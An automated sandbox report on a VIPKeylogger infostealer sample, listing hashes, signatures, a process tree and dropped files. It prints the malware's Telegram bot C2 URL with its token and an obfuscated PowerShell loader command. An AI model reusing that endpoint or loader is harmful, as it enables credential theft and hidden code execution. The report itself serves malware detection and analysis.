Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-02-2025 04:26

General

  • Target

    f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe

  • Size

    1.5MB

  • MD5

    65249febec3f7bde1c51b92ff5d3c4a7

  • SHA1

    459c11b637dc859eacea6d65489729f7b32fbf27

  • SHA256

    f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6

  • SHA512

    e739a509aa7029116395a436f6b9c07e9e74bae0e81c312e0e0663c315be862a118b18d60c45b72268b47ad09a13ed0c9db54d4f97eba474c154d14d8cbe9a1c

  • SSDEEP

    24576:nMwM9cEY0ASIJSEwseD6Ph717SM5vw+WDC5InZ/L9GrsXpJzXo1AH9HBevK9Y9Ey:nMwLhcOPhNSM9w+wCyig5JzXo1AtBUK2

Malware Config

Extracted

Family

vipkeylogger

C2

https://api.telegram.org/bot7905739203:AAHVrbaqwZh7jsUdl3dYwh5_SurA4XOPFCU/sendMessage?chat_id=8187594209

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Blocklisted process makes network request 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe
    "C:\Users\Admin\AppData\Local\Temp\f9d051b1d729d3a1689e7b1454902012a5d757f5b5339db346ffcead746802f6.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4028
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized "$Anskueliggres=gc -Raw 'C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Kinestheses.Tra';$Sprrereglernes=$Anskueliggres.SubString(54058,3);.$Sprrereglernes($Anskueliggres)"
      2⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4744
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • Blocklisted process makes network request
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2272

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhfo3u0q.t1n.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nsiA6B1.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    4c77a65bb121bb7f2910c1fa3cb38337

    SHA1

    94531e3c6255125c1a85653174737d275bc35838

    SHA256

    5e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe

    SHA512

    df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04

  • C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Kinestheses.Tra

    Filesize

    52KB

    MD5

    4281bb34dbc6a97669b1815f61d33612

    SHA1

    605f5b8e73077d2814da07642031ce974b08f2cd

    SHA256

    4903967d23168ae80a460eb825ad870aa4dcdc57932a522999442f4612ef3c20

    SHA512

    9062f880f1d9af15da31f40a648677d1bc8d581c19aebff91628dcb9dc1c00b461270cf0b37f29fa26522fc75d4cf3e4476fd95d26ee7162a8c9aa44b2c52184

  • C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Muskinesses.Spi

    Filesize

    320KB

    MD5

    f195683d18325a42c4304eeb0dc6367a

    SHA1

    55a61c425735952bade435bf3ce82a181bbdf3c8

    SHA256

    b2723eac8aabe559621c85ab475078ba196da645d2e5a2618a318df01b70ebe9

    SHA512

    1bd37d58671faa0d62b44a85f3dc321ca25315b3d3735d90f1c688edcdb7921b12e175d277e7ec385e4cebadaf5e70c2ae7b7d50fbe1c2e670482bd836e5827a

  • memory/2272-97-0x0000000000B70000-0x0000000001DC4000-memory.dmp

    Filesize

    18.3MB

  • memory/2272-102-0x0000000000B70000-0x0000000000BBA000-memory.dmp

    Filesize

    296KB

  • memory/2272-110-0x0000000026560000-0x000000002656A000-memory.dmp

    Filesize

    40KB

  • memory/2272-109-0x00000000265A0000-0x0000000026632000-memory.dmp

    Filesize

    584KB

  • memory/2272-107-0x0000000026D60000-0x000000002728C000-memory.dmp

    Filesize

    5.2MB

  • memory/2272-106-0x0000000025E70000-0x0000000025EC0000-memory.dmp

    Filesize

    320KB

  • memory/2272-105-0x0000000026660000-0x0000000026822000-memory.dmp

    Filesize

    1.8MB

  • memory/2272-101-0x0000000000B70000-0x0000000001DC4000-memory.dmp

    Filesize

    18.3MB

  • memory/2272-103-0x0000000025A10000-0x0000000025AAC000-memory.dmp

    Filesize

    624KB

  • memory/4744-65-0x0000000007DE0000-0x0000000007E83000-memory.dmp

    Filesize

    652KB

  • memory/4744-71-0x00000000086A0000-0x00000000086A8000-memory.dmp

    Filesize

    32KB

  • memory/4744-44-0x00000000069C0000-0x0000000006A0C000-memory.dmp

    Filesize

    304KB

  • memory/4744-45-0x0000000007A30000-0x0000000007AC6000-memory.dmp

    Filesize

    600KB

  • memory/4744-46-0x0000000006E70000-0x0000000006E8A000-memory.dmp

    Filesize

    104KB

  • memory/4744-47-0x0000000006EE0000-0x0000000006F02000-memory.dmp

    Filesize

    136KB

  • memory/4744-48-0x0000000008080000-0x0000000008624000-memory.dmp

    Filesize

    5.6MB

  • memory/4744-50-0x0000000008CB0000-0x000000000932A000-memory.dmp

    Filesize

    6.5MB

  • memory/4744-62-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-63-0x0000000007D70000-0x0000000007D8E000-memory.dmp

    Filesize

    120KB

  • memory/4744-52-0x00000000700B0000-0x00000000700FC000-memory.dmp

    Filesize

    304KB

  • memory/4744-64-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-51-0x0000000007D90000-0x0000000007DC2000-memory.dmp

    Filesize

    200KB

  • memory/4744-38-0x0000000006380000-0x00000000066D4000-memory.dmp

    Filesize

    3.3MB

  • memory/4744-66-0x0000000007F00000-0x0000000007F0A000-memory.dmp

    Filesize

    40KB

  • memory/4744-67-0x0000000008060000-0x0000000008071000-memory.dmp

    Filesize

    68KB

  • memory/4744-68-0x0000000008660000-0x000000000866E000-memory.dmp

    Filesize

    56KB

  • memory/4744-69-0x0000000008670000-0x0000000008684000-memory.dmp

    Filesize

    80KB

  • memory/4744-70-0x00000000086B0000-0x00000000086CA000-memory.dmp

    Filesize

    104KB

  • memory/4744-43-0x0000000006990000-0x00000000069AE000-memory.dmp

    Filesize

    120KB

  • memory/4744-72-0x00000000086B0000-0x00000000086DA000-memory.dmp

    Filesize

    168KB

  • memory/4744-73-0x0000000008700000-0x0000000008724000-memory.dmp

    Filesize

    144KB

  • memory/4744-74-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-77-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-76-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

    Filesize

    4KB

  • memory/4744-78-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-80-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-81-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-82-0x0000000009330000-0x000000000F129000-memory.dmp

    Filesize

    94.0MB

  • memory/4744-83-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-84-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-31-0x00000000062A0000-0x0000000006306000-memory.dmp

    Filesize

    408KB

  • memory/4744-32-0x0000000006310000-0x0000000006376000-memory.dmp

    Filesize

    408KB

  • memory/4744-30-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

    Filesize

    136KB

  • memory/4744-29-0x0000000005B80000-0x00000000061A8000-memory.dmp

    Filesize

    6.2MB

  • memory/4744-28-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-27-0x0000000003390000-0x00000000033C6000-memory.dmp

    Filesize

    216KB

  • memory/4744-26-0x0000000073C2E000-0x0000000073C2F000-memory.dmp

    Filesize

    4KB

  • memory/4744-85-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB

  • memory/4744-87-0x0000000073C20000-0x00000000743D0000-memory.dmp

    Filesize

    7.7MB